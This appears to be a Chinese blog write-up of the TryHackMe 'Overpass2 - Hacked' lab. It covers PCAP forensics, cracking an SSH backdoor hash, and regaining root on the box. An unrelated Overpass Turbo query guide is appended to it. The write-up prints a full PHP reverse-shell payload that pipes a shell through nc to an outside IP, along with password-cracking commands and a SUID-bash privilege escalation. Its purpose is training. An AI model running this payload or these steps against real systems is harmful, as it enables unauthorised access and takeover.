TryHackMe | Overpass2- Hacked | Writeup

Overpass2 - Hacked

取证 – 分析 PCAP

首先要找到上传反向 shell 的页面 URL,这里先过滤了 HTTP 数据包

很容易就看到了几个 POST 请求,上传的路径是 upload 路径,这里追踪那个 POST 数据包的 HTTP 流,进一步查看

可以看到他在 development 的 upload.php 下传入了一个 payload.php 的文件,内容就是一个反向的 shell

What was the URL of the page they used to upload a reverse shell?

/development/

What payload did the attacker use to gain access?

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

接下来是找攻击者利用反向 shell 实现的攻击,这里先过滤出攻击者的数据包,使用 ip.dst == 192.168.170.145

可以看到除了前面的几个 HTTP 的数据包.后面就是 TCP 的数据包,可能是连接上了 shell,这里点击一个 TCP 数据包之后,进行追踪 TCP 流

可以看到就是 Linux 命令,发现攻击者使用 su 切换到 james 用户身份,也看到使用的密码

What password did the attacker use to privesc?

whenevernoteartinstant

向下看,找到攻击者使用 git 命令从 GitHub 中下载了一个后门,设置了一个 ssh 连接

How did the attacker establish persistence?

https://github.com/NinjaJc01/ssh-backdoor

最后要找到系统密码的破解,可以看到攻击者 cat 过 shadow 文件

这里我们可以看到最后五个用户的密码和用户名,使用 john 进行破解,破解的文件要只需要留下用户名和后面的 hash 值,hash 值的 : 后面的都需要删除掉

这里可以看出破解出四个用户的系统密码


研究 – 分析代码

这里需要分析后门的程序代码,我们可以到 GitHub 的地址中找到利用的后门程序

这个代码是自定义的一个带有密码的 SSH 服务器,使用正确的密码经过(SHA512 加盐哈希对比)才可以是实现登录

默认的哈希值在开头使用变量定义好了

在最后的函数中我们也找到盐的值

之前追踪 TCP 流中,可以看到使用的哈希值,这是使用 a 参数来设置了程序的哈希值,也就是后面登录时的校验密码

使用 hash:salt的格式来写入 hash.txt,然后使用 hashcat 进行破解, hashcat -m 1710 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force,也就可以拿到后门的密码了

进攻 – 回来

这里首先使用 nmap 对于目标端口进行扫描

进入 80 端口的 web 页面发现已经被挂了黑页

这里也发现了 2222 端口开放着,就利用之前破解的密码进行登录,注意要加上 -oHostKeyAlgorithms=+ssh-rsa,登录之后可以在 james 的根目录下找到 flag

这里使用 ls -al查看一下根目录下文件,发现一个 suid 的 .suid_hash文件,运行之后发现是给了一个终端,就是 bash 文件的效果,在https://gtfobins.github.io/gtfobins/bash/#suid进行了搜索,发现加上 -p参数运行就可以拿到 root 权限

最后在/root 目录下找到根 flag


### Overpass Turbo 使用指南 #### 了解 Overpass Turbo 的基本概念 Overpass Turbo 提供了一个直观的 Web 界面,使用户能够在不需要编程技能的情况下构建和执行复杂的 Overpass 查询[^2]。这使得无论是初学者还是高级用户都能方便地测试查询、查看结果以及导出所需的数据。 #### 构建第一个查询 为了快速入门,可以从简单的查询开始学习如何使用 Overpass Turbo 进行地理空间数据分析: 1. 打开 [Overpass Turbo](https://overpass-turbo.eu/) 并点击页面中央的地图区域来设置边界框。 2. 输入如下所示的基础查询语句以检索特定类型的对象: ```plaintext node["amenity"="cafe"](around:500); out body; ``` 此查询将在地图中心位置周围半径500米范围内查找所有的咖啡馆节点,并显示它们的信息。 #### 利用高级特性优化查询效率 对于更复杂的需求,可以利用一些特有的功能提高查询性能与灵活性。例如,在长时间运行的任务中可设定超时参数防止请求被意外中断[^3]: ```plaintext [out:csv(::id, ::lat, ::lon, name; true; ",")][timeout:60]; node(around:1000)["shop"]; out skel qt; ``` 这段代码不仅设置了最大等待时间为60秒,还指定了输出格式为CSV表格形式,便于后续分析处理。 #### 结合其他工具扩展应用场景 除了直接操作 OSM 原始数据外,还可以借助第三方库如 `osmtogeojson` 将其转化为更加通用的空间矢量格式——GeoJSON,从而更好地服务于各类 GIS 应用场景中的展示需求[^4]: ```javascript const osmtogeojson = require('osmtogeojson'); // Assume 'data' contains valid OSM XML content fetched via API or file upload. let geojsonData = osmtogeojson(data); console.log(JSON.stringify(geojsonData)); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值